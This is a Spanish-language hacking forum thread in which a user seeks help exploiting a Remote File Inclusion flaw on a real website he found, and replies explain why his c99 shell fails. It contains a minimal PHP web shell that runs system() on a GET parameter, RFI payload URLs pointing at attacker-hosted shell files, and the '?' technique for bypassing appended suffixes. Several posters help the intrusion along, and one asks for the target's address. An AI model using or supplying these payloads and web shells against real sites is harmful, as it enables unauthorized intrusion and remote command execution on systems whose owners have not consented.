Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: warlock394 en 27 Octubre 2007, 02:42 am



Título: duda con RFI.......
Publicado por: warlock394 en 27 Octubre 2007, 02:42 am
Hola a todos los integrantes de este foro, quisiera hacerles una consulta para ver si me ayudan con mi duda... Hace unos dias encontre una web vulnerable al Remote FIle inclusion pero no he podido hacer uso de la shell c99 o ejecutar cualquier script simple que me de informacion..

De esta forma la uso :

http://vulnerable/principal/main.php?pag_dest=http://atacante/c99.txt

pero no se ejecuta, simplemente muestra el codigo fuente de la shell, he leido que para que se ejecute la shell se le cambia la extension a .txt o jpg o gif pero ninguno me resulta que podría ser??


Título: Re: duda con RFI.......
Publicado por: HaDeS, - en 27 Octubre 2007, 04:48 am
Código
  1. highlight_file($_GET['pag_dest']);
  2.  
ó
Código
  1. $pag = $_GET['pag_dest'];
  2. $a = fopen($pag, "r");
  3. echo fread($a,filesize($pag));
  4. fclose($a);
  5.  

Diferente a:
Código
  1. $pag = $_GET['pag_dest'];
  2. include($pag);
  3.  

Lo que quiere decir, que la aplicación web que encontraste no es vulnerable a inclusión remota.
saludos ;)


Título: Re: duda con RFI.......
Publicado por: Deka_10 en 3 Noviembre 2007, 01:02 am
has provado de meter un signo de interrogacion al final?
etc../c99.txt?

asi.


Título: Re: duda con RFI.......
Publicado por: HaDeS, - en 3 Noviembre 2007, 02:45 am
has provado de meter un signo de interrogacion al final?
etc../c99.txt?

asi.
Explicame que hace exactamente el "?"
Saludos!, solo respondeme vos!


Título: Re: duda con RFI.......
Publicado por: H3xCryp en 30 Diciembre 2007, 16:13 pm
aver, si te fijas en los codigos de las shells.
te pongo un ejemplo:

Código
  1. <?php
  2. $cmd=$_GET["cmd"];
  3. system($cmd);
  4. ?>

la gente que no tiene ni la minima idea de php, usa las shells c99 y todas esas que te lo hacen casi todo automatico, pero no saben como funcionan.

$cmd es una variable global, con $_GET hacemos una peticion.
todo lo que pongamos despues del parametro cmd se ejecutara con system y nos mostrara el resultado del comando.

* ademas de ejecutar con system, se pueden ejecutar comandos con: passthru, system_exec, shell_exec, exec y con eval.

Ejemplo:
http://localhost/shell.php?cmd=ls%20-lia

Por eso cuando en un RFI:
http://vulnerable/principal/main.php?pag_dest=http://atacante/shell.txt?cmd=ls

saludos.


Título: Re: duda con RFI.......
Publicado por: HaDeS, - en 7 Febrero 2008, 23:37 pm
...
la gente que no tiene ni la minima idea de php, usa las shells c99 y todas esas que te lo hacen casi todo automatico, pero no saben como funcionan.

$cmd es una variable global, con $_GET hacemos una peticion.
todo lo que pongamos despues del parametro cmd se ejecutara con system y nos mostrara el resultado del comando.
...
Se ve que no tenes la mínima idea de php, con $_GET no se hace ninguna petición, con $_GET se retornan los valores de una variable identificada por nombre x en el GET de una petición.

Código:
GET /abc?a=123 HTTP/1.1
Host:...

Código
  1. $variable = $_GET['a'];
  2. echo $variable
  3.  

Respuesta: 123

Ademas él dice que se muestra el contenido del archivo, por lo que logicamente no se trata de una inclusión, sino de la lectura e impresión de datos como lo puse más arriba.

Si me respondias lo de "Explicame que hace exactamente el "?"
Saludos!, solo respondeme vos!"

Pues no respondiste lo que era.

Y de paso explico que es el ?
Lo que hay por delante del ? en las peticiones, es denominado porción de consulta, y es donde se encuentran las variables que se mandan al servidor. eso era todo, se utiliza el ? en las inclusiones, para que el sufijo que se le añade a la variable sea parte de la porción de consulta, y no sea incluido como un solo archivo.

Saludos


Título: Re: duda con RFI.......
Publicado por: dark_hat en 11 Febrero 2008, 21:12 pm
¿Si no has podido ejecutar scripts como sabes q es vulnerable a RFI? Prueba a ejecutar un script básico como:
Código:
<?
echo "texto";
?>

Y si te sale el código fuente en lugar de poner simplemente "texto" pues no será vulnerable. De todas formas aunque sea vulnerable puede no funcionar la shell, la función system puede estar desactivada. ¿Por qué no dices que página es?


Título: Re: duda con RFI.......
Publicado por: Azielito en 18 Febrero 2008, 19:25 pm
sumando a lo que dice hades en el primer post tambien podria ser:

Código
  1. echo '<iframe src="'.$_GET['pag_dest'].'">';

y entonces "podrias" poner scripts, o sea, puede ser que sea vulnerable a XSS o CSRF


Título: Re: duda con RFI.......
Publicado por: Pablo Videla en 18 Febrero 2008, 19:36 pm
lo que hace el "?" es que se ejecute la shell o no? :-\


Título: Re: duda con RFI.......
Publicado por: Azielito en 18 Febrero 2008, 20:42 pm
da igual si lleva el "?" o no XD

lo que pasa es que primero debes asegurar que sea vulnerable


Título: Re: duda con RFI.......
Publicado por: HaDeS, - en 4 Marzo 2008, 01:38 am
lo que hace el "?" es que se ejecute la shell o no? :-\
No, lo que hace el "?", es separar la parte "real" de la parte "imaginaria"
Te explico más.
Tenes este código:
Código
  1. include $_GET['a'].'_template.php';
  2.  
La inclusión normal sería:
...?a=http://evilpage.com/mishell.txt

Pero si haces esto así normal, te saldría un error porque en realidad estaría incluyendo el archivo
http://evilpage.com/mishell.txt_template.php

Para hacerle el escape a eso y no incluya el archivo "mishell.txt_template.php", se utiliza el "?" que me parece que también se llama porción de consulta, que es la que contiene las variables get en la petición.
En total quedaría:
...?a=http://evilpage.com/mishell.txt?
y el resto que se incluye es como si fuera una variable get
include('http://evilpage.com/mishell.txt?_template.php'); Siendo _template.php una variable

¿Si no has podido ejecutar scripts como sabes q es vulnerable a RFI? Prueba a ejecutar un script básico como:
Código:
<?
echo "texto";
?>
Porque mira que warlock394 dijo: "pero no se ejecuta, simplemente muestra el codigo fuente de la shell"
Significa que no hay inclusión remota, que puede ser como dije mas arriba:
Código
  1. $pag = $_GET['pag_dest'];
  2. $a = fopen($pag, "r");
  3. echo fread($a,filesize($pag));
  4. fclose($a);
  5.  

modified.
y sorry por revivir el post pero no lo había visto, y me veía "obligado" a responder

saludos.